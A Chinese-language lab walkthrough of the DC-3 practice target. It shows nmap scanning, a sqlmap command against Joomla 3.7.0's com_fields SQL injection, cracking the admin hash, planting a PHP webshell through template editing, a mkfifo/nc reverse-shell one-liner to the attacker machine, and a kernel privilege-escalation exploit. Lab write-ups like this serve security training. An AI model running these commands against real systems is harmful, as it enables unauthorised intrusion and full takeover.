靶场环境

局域网网段:192.168.47.0/24

攻击机 kali:192.168.47.138/24

目标器 DC-3:192.168.47.137/24

打靶目标

找到藏在DC-3靶机中的flag,只有最终的flag。

信息收集

已知目标机器和攻击机器在同一个局域网内,网段为192.168.47.0/24。

寻找靶机真实IP

同样使用nmap扫描网段内的ip,使用命令:

nmap -sP 192.168.47.0/24
-sP参数常用于发现主机,而不进行端口扫描,使用ping,也就是发送icmp数据包,探测ip段内的主机是否在线

目标机器IP:192.168.47.137

探测服务以及端口

nmap使用命令

nmap -A -p- -v 192.168.47.137/24
-A表示全面扫描,包括端口,服务,操作系统等等。-p-是扫描主机开放的全部端口,而不只是常见的端口。-v就是显示更详细的扫描结果和信息。

只开放了80端口,web使用的框架是Joomla。那么主要就是从CMS漏洞这块入手了,游览器访问,

本靶场只有最终的flag。

寻找最终flag

joomscan扫描后台地址

Joomla 是一种流行的开源内容管理系统(CMS),用于构建和管理网站。它是一个基于 PHP 和 MySQL 的平台,提供了丰富的功能和灵活性,使用户能够创建各种类型的网站。Joomla 提供了一个易于使用的管理界面,使用户能够管理网站的内容、布局和功能。它支持扩展和模块化的体系结构,通过使用扩展和插件,用户可以轻松地添加新功能、模板和扩展来满足他们的需求。
JoomScan 是一款用于检测 Joomla 网站漏洞的开源工具。它是专门为 Joomla CMS 设计的渗透测试工具,旨在帮助安全专业人员发现和评估 Joomla 网站中的安全漏洞。它可以探测常见的web漏洞,joomla特定的CMS漏洞,插件和组件的漏洞,当然也可以扫描后台地址,当然也可以使用Nikto,它也是一款开源的漏洞扫描工具。

扫描到后台地址,另外探测出joomla的版本是3.7.0

Searchsploit探测CMS相关漏洞

Searchsploit 是一款用于在本地漏洞利用数据库中搜索已知漏洞的命令行工具,Searchsploit 使用本地存储的漏洞利用数据库,其中包含大量已公开披露的漏洞和利用代码。当你使用 Searchsploit 时,它会在本地数据库中搜索指定的关键词,并返回与该关键词相关的漏洞、漏洞描述、利用代码和参考资料等信息。用它可以搜索joomla当代版本的CMS漏洞。

有sql注入和xss,sql注入才最具有利用价值,查看txt有漏洞利用payload,注意路径拼接:

有漏洞测试的url,还有sqlmap注入的命令,使用该url测试一下sql注入漏洞是否存在。

报错了,说明后端有sql语句拼接,此处存在漏洞。

sqlmap注出管理员密码

爆库命令:

sqlmap -u "http://192.168.47.137/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

接下来就找管理员密码,查表啥的省略,直接放最后一张截图;

admin的密码是由hash加密过的。

john破解管理员密码

John the Ripper(通常简称为John)是一款用于密码破解和恢复的开源软件。它被广泛用于渗透测试和密码安全评估等领域。 能够使用多种密码破解技术,包括暴力破解、字典攻击和彩虹表攻击等。它支持多种密码哈希算法和格式,例如MD5、SHA1、DES、NTLM等。通过利用多种破解技术和灵活的配置选项,John 可以尝试恢复密码或破解加密哈希值。目前来说不需要知道原理,知道怎么用工具就行。

把管理员的Hash值放在一个txt文件里,再使用john工具爆破。

因为我之前已经爆破过了,使用命令

john --show 123.txt

可以查看明文。

所以管理员的密码为snoopy。成功登录到后台。

上传木马getshell

进入到管理员后台,下一步应该想想怎么getshell了。找的上传的点有两三个,能利用,上传成功的点应该在这

我们可以任意添加,修改,删除,上传任意文件,在此目录下。该目录不是web根目录,它的路径在

templates/beez3/

添加一个123.php,写上一句话木马:

蚁剑连接成功

蚁剑的虚拟终端不太好用,那么反弹shell到kali机上。

虚拟终端使用以下命令

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.47.138 9955 >/tmp/f

因为虚拟终端没有参数-e,常规的反弹shell用不了。那么就使用linux的无-e参数的反弹shell。mkfifo 命令首先创建了一个命令管道,nc与kali机建立socket连接,kali机上输入的命令将输入重定向到命令管道,cat /tmp/f查看该命令管道里的内容,并且作为/bin/sh的输入,交互式shell,执行kali机输入的命令,2>&1将标准输出和标准错误输出传递给nc,然后回显到我们的kali机上,形成一个回路。这篇文章讲的比较好:

https://blog.csdn.net/weixin_43873557/article/details/113760881

又带我熟悉了一下反弹shell的原理。

使用命令优化一下shell

很明显不是root权限,root目录进不去,最后的flag应该就在root目录下了,看来是得提权了。

Linux提权

上传提权辅助脚本发现提权漏洞

Linux_Exploit_Suggester是一款根据操作系统版本号自动查找相应提权脚本的工具,如果不带任何参数运行该脚本的话,将执行uname -r返回的操作系统发行版本,或者手工输入-k参数查找指定版本号。

记得给上传的脚本加执行权限,运行脚本,有很多用于提权的CVE。我们使用这个漏洞进行提权

该url可以下载一个zip文件,这个文件就是用于提权的文件。也可以去searchsploit里面去查找,它本身也就是一个漏洞利用的数据库。

上传这个39772.zip

解压该文件,执行里面的脚本进行提权

unzip 39772.zip
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
./doubleput

提权成功了,角色由www-data转变为root。

进入到root目录,拿取到本靶机唯一的flag。

本靶机通关结束。